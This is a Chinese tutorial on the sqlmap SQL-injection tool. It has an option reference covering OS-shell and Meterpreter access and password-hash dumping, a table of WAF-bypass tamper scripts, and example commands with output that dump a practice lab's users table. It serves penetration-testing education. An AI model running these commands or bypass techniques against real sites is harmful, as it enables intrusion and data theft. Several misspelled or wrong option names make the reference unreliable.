Java教程

sqlmap 使用指南

本文主要是介绍sqlmap 使用指南,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

sqlmap 使用指南

一、命令参数

1. 通用

参数功能
-h显示基本帮助信息
-hh显示高级帮助信息
–version显示版本号
-ssqlite 会话文件保存位置
-t记录所有 HTTP 流量到指定文件中
–batch测试过程中, 执行所有默认配置
–charset强制用于数据检索的字符编码
–crawl从目标URL开始爬取网站
–crawl-exclude禁止爬取某个页面(eg:logout)
–csv-del指定CSV输出中使用的的字符
–dump-format储存数据的方式(CSV(default),HTML,SQLITE)
–flush-session刷新当前目标的会话文件
–fresh-queries忽略会话文件中储存的查询结果,重新查询
–hex使用DBMS hex函数进行数据检索
–outpout-dir自定义输出目录
–save保存选项到 ini 配置文件中
–scope使用正则表达式从提供的日志中提取信息
–alert再找到SQL注入时运行主机操作系统命令
–purge-output安全的从输出目录中删除所有内容
–sqlmap-shell提示输入交互式sqlmap shell
–update更新sqlmap

2. 信息显示设置

参数功能
-h设置显示信息等级(0-6 默认 1)
0只显示 Python 错误以及重要信息
1显示信息以及警告
2显示 debug 消息
3显示注入 payload
4显示 http 请求
5显示 http 响应头
6显示 http 响应内容

3. 注入目标

参数功能
-u指定目标 url
-d直接连接数据库
-l从 BurpSuit 代理日志的解析目标
-r从文件中加载 http 请求
-g从 google dork 的结果作为目标 url
-c从 ini 配置文件中加载选项

4. 请求头

参数功能
-A指定 User-Agent 头
-H额外的 header
-method指定 HTTP 方法(GET/POST)
–data通过 POST 提交数据
–param-del指定参数分隔符
–cookie指定 cookie 的值
–cookie-del指定cookie分隔符
–drop-set-cookie扔掉 response 中的 set-cookie 头
–random-agent使用随机的 User-Agent 头
–host设置 host 头
–referer指定 referer 头
–headers额外的headers
–auth-typehttp认证类型(Basic,NTLM,Digest)
–auith-credhttp认证凭证(账号:密码)
–ignore-proxy忽略系统代理(常用于扫描本地文件)
–proxy使用代理
–proxy-cred代理认证证书(账号:密码)
–delay设置两个请求之间延迟时间
–timeout超时时来连接前等待(默认 30)
–retries连接超时时重试次数(默认 3)
–randomize随机更改指定的参数的值
–safe-url在测试期间经常访问的 URL
–safe-postPOST数据发送到安全的 URL
–safe-freq两次请求之间穿插一个安全的URL
–skip-urlencode跳过 payload 数据的 URL 编码
–chunked使用 HTTP 分块传输加密 POST 请求
–hpp使用HTTP参数pollution方法(常用于绕过IPS/IDS检测)
–force-ssl强制使用 SSL/HTTPS
–eval=value请求之前提供Python代码(eg:“import hashlib;id2=hashlib.md5(id).hexdigest()”)

5. 优化参数

参数功能
-o打开所有优化开关
–predict-output预测输出(与–threads不兼容)
–keep-alive建立长久的HTTP(S)连接 (与–proxy不兼容)
–null-connection空连接
–threads=value设置线程(默认 1)

6. 注入参数

参数功能
-p指定测试参数
–skip跳过指定参数的测试
–skip-static跳过测试静态的参数
–dbms指定具体DBMS
–os指定DBMS操作系统
–invalid-bignum使用大数字使值无效
–invalid-logical使用逻辑符使值无效
–invalid-string使用字符串使值无效
–no-cast关闭payload铸造机制
–no-escape关闭字符转义机制(默认自动开启)
–prefix加入payload前缀
–suffix加入payload后缀
–tamper指定使用的脚本,多个脚本之间用空格隔开

7. 检测

参数功能
–level指定测试的等级(1-5 默认为1)
–risk指定测试的风险(0-3 默认为1)
–string登录成功时,页面所含有的“关键字” 用于证明已经登录成功
–not-string登录成功时,页面所含有的“关键字” 用于证明已经登录失败
–code查询为真时,匹配的HTTP代码
–smart当有大量检测目标时,只选择基于错误的检测结果
–text-only仅基于文本内容比较网页
–titles仅基于标题比较网页

8. 注入技术

参数功能
-technique指定sql注入技术(默认BEUSTQ)
–time-sec基于时间注入检测相应的延迟时间(默认为5秒)
–union-clos进行查询时,指定列的范围
–union-char指定暴力破解列数的字符
参数功能
B基于布尔的盲注
T基于时间的盲注
E基于报错的注入
U基于UNION查询注入
S基于多语句查询注入

9. 指纹查询

参数功能
-f查询目标DBMS版本指纹信息

10. 数据查询

参数功能
-a查询所有
-b查询目标 DBMS banner 信息
–current-user查询目标DBMS当前用户
–current-db查询目标 DBMS 当前数据库
–is-dba查询目标 DBMS 当前用户是否为 DBA
–users枚举目标 DBMS 所有的用户
–paswords枚举目标 DBMS 用户密码哈希值
–privileges枚举目标 DBMS 用户的权限
–roles枚举DBMS用户的角色
–dbs枚举DBMS所有的数据库
–tables枚举DBMS数据库中所有的表
–columns枚举DBMS数据库表中所有的列
–count检索表的条目的数量
–dump存储DBMS数据库的表中的条目
–dump-all存储DBMS所有数据库表中的条目
–D db指定进行枚举的数据库名称
–T table指定进行枚举的数据库表名称
–C column指定进行枚举的数据库列名称
–exclude-sysdbs枚举表时排除系统数据库
–sql-query指定查询的sql语句
–sql-shell提示输入一个交互式sql shell

11. 暴力破解

参数功能
–common-tables暴力破解表
–common-colomns暴力破解列

12. 文件系统访问

参数功能
–file-read从目标数据库管理文件系统读取文件
–file-write上传文件到目标数据库管理文件系统
–file-dest指定写入文件的绝对路径
–os-cmd执行操作系统命令
–os-shell交互式的系统shell
–os-pwn获取一个OOB shell,Meterpreter或者VNC
–os-smbrelay一键 获取一个OOB shell,Meterpreter或者VNC
–os-bof储存过程缓冲区溢出利用
–os-esc数据库进程用户权限提升
–msf-path=Metasploit Framework本地安装路径

二、WAF 绕过

WAF,即Web Application Firewall,即Web应用防火墙,是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

我们可以使用--identify-waf参数对一些网站是否有安全防护进行试探。当确定网站存在 WAF 之后我们需要对其进行绕过。

在 sqlmap 下的 tamper 目录中存放着绕过 WAF 脚本。通过 --tamper 参数使用脚本,多个 tamper 脚本之间用空格隔开。

1. 自带 tamper

在 Kali 2020 的系统中,tamper 文件夹位置为:/usr/share/sqlmap/tamper

适用数据库模块功能环境
ALLapostrophemask.py对单引号'用URL-UTF8编码
ALLapostrophenullencode.py对单引号'用非法的双UNICODE编码
ALLunmagicquotes.py将单引号'替换成多个字节 并在结尾处添加注释符
ALLescapequotes.py斜杠转义单引号'和双引号"
ALLbase64encode.py对payload进行一次BASE64编码
* Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3charunicodeencode.py对payload进行一次URL-UNICODE编码* ASP * ASP.NET
ALLcharunicodeescape.py对payload进行UNICODE格式转义编码
ALLhtmlencode.py对payload中非字母非数字字符进行HTML编码
* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0charencode.py对payload进行一次URL编码
ALLchardoubleencode.py对payload进行两次URL编码
ALLoverlongutf8.py将payload中非字母非数字字符用超长UTF8编码
ALLoverlongutf8more.py将payload中所有字符用超长UTF8编码
* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5equaltolike.py将payload中所有=替换成LIKE
* MySQL 4, 5.0 and 5.5equaltorlike.py将payload中所有=替换成RLIKE
* MySQL 5.1, SGOSbluecoat.py将SQL语句中空格字符' '替换为%09 并替换=LIKE
* MSSQL * SQLitespace2dash.py将空格字符' '替换成:--+随机字符串+\n
* MySQLspace2hash.py将MySQL payload中空格字符' '替换成: #+随机字符串+\n
* MySQL >= 5.1.13space2morehash.py将MySQL payload中空格字符' '替换成: #+随机字符串+\n
* Microsoft SQL Serverspace2mssqlblank.py将MsSQL payload中空格字符' '替换成 随机的空字符:(%01, %02, %03, %04···%0F)
* MSSQL * MySQLspace2mssqlhash.py将MySQL payload中空格字符' '替换成:#+\n
* MySQLspace2mysqlblank.py将MySQL payload中空格字符' '替换成 随机的空字符:(%09, %0A, %0B, %0C, %0D)
* MySQL * MSSQLspace2mysqldash.py将MySQL payload中空格字符' '替换成:--+\n
ALLspace2plus.py将空格字符' '替换成+
* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0space2randomblank.py将空格字符' '替换成随机的空字符: (%09, %0A, %0C, %0D)
* MySQL * MsSQL0eunion.pyUNION语句替换
ALLunionalltounion.pyUNION语句替换
* MySQLmisunion.pyUNION语句替换
* Oracledunion.pyUNION语句替换
* MySQLsleep2getlock.pySLEEP语句替换
* MySQL * SQLite (possibly) * SAP MaxDB (possibly)ifnull2casewhenisnull.pyIFNULL语句替换
* MySQL * SQLite (possibly) * SAP MaxDB (possibly)ifnull2ifisnull.pyIFNULL语句替换
* MySQLcommalesslimit.pyMySQL payload中LIMIT语句替换
* MySQLcommalessmid.pyMySQL payload中MID语句替换
* MySQLhex2char.pyMySQL payload中CONCAT(CHAR(),…)语句替换
* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0between.pyBETWEEN语句替换=<>
* MySQLconcat2concatws.pyMySQL payload中CONCAT语句替换
* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0space2comment.py将空格字符' '替换成注释符/**/
* MySQL 5.0 and 5.5space2morecomment.py将MySQL payload中空格字符' '替换成 注释符/**_**/
* Microsoft SQL Server * MySQL * Oracle * PostgreSQLcommentbeforeparentheses.py在括号前加上/**/注释
* MySQL < 5.1halfversionedmorekeywords.py在关键字前添加MySQL版本注释信息
* MySQLmodsecurityversioned.py用注释来包围完整的MySQL查询语句
* MySQLmodsecurityzeroversioned.py用注释来包围完整的MySQL查询语句
ALLrandomcomments.py在SQL关键字的字符之间随机添加注释符
* MySQLversionedkeywords.py对MySQL payload中非函数的关键字进行注释
* MySQL >= 5.1.13versionedmorekeywords.py对MySQL payload中所有关键字进行注释
* Microsoft Accessappendnullbyte.py在payload结束位置加零字节字符%00
* MySQLbinary.py在payload可能位置插入关键字binary
* MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0greatest.py>替换成GREATEST语句
* MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0least.py>替换成LEAST语句
ALLinformationschemacomment.py在"information_schema"后面加上/**/
* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0lowercase.py将所有大写字符替换成小写字符
* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0uppercase.py将所有小写字符替换成大写字符
ALLmultiplespaces.py在SQL关键字旁添加多个空格符' '
* Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0percentage.pypayload中每个字符前加%* ASP
* Microsoft SQL Server 2012+plus2concat.py+替换成MsSQL的CONCAT()语句
* Microsoft SQL Server 2008+plus2fnconcat.py+替换成MsSQL的{fn CONCAT()}语句
* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 * SQLite 3randomcase.py对每个SQL关键字的字符替换成随机大小写
* MySQLschemasplit.py拆分数据库标识符
* MSSQLsp_password.py在MsSQL payload后添加ssp_password 用于混淆数据库日志
* PostgreSQL 9.6.12substring2leftright.py将PostgreSQL中SUBSTRING语句 用LEFTRIGHT代替
ALLsymboliclogical.pyANDOR替换成&&||
ALLluanginx.py针对LUA-Nginx WAF进行绕过
ALLvarnish.py添加一个HTTP头X-originating-IP 用来绕过Varnish防火墙
ALLxforwardedfor.py添加伪造的HTTP头X-Forwarded-For

三、使用小技巧

    1. 注入的请求必须是正确的请求,例如测试登录时必须要使用能够正常登录的账号密码;
    2. 当我们知道哪里存在注入点时,我们可以在注入点加上 * 来标识这是一个注入点;

    四、sqlmap 使用示例

    1. 获取所有数据库

    Input:
    sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch --dbs
    
    
    Output:
    ailable databases [5]:                                                                                                                                   
    [*] challenges
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] security
    

    参数解读:

    • -u:指定测试的 url
    • –batch:使用所有默认选项
    • –dbs:获取所有数据库

    2. 获取指定数据库的所有表

    Input:
    sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security --tables
    
    Output:
    Database: security                                                                                                                                         
    [4 tables]
    +----------+
    | emails   |
    | referers |
    | uagents  |
    | users    |
    +----------+
    

    3. 获取指定表的所有列名

    Input:
    sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security -T users --columns
    
    
    Output:
    Database: security                                                                                                                            Table: users
    [3 columns]
    +----------+-------------+
    | Column   | Type        |
    +----------+-------------+
    | id       | int(3)      |
    | password | varchar(20) |
    | username | varchar(20) |
    +----------+-------------+
    

    4. 获取指定列的值

    Input:
    sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security -T users -C "username,password" --dump  
    
    
    Output:
    Database: security                                                                                                                            Table: users
    [14 entries]
    +----------+----------+
    | username | password |
    +----------+----------+
    | Dumb     | password |
    | Angelina | password |
    | Dummy    | password |
    | secure   | password |
    | stupid   | password |
    | superman | password |
    | batman   | password |
    | admin    | 123      |
    | admin1   | password |
    | admin2   | password |
    | admin3   | password |
    | dhakkan  | password |
    | admin4   | password |
    | admin'#1 | 123      |
    +----------+----------+
    
这篇关于sqlmap 使用指南的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!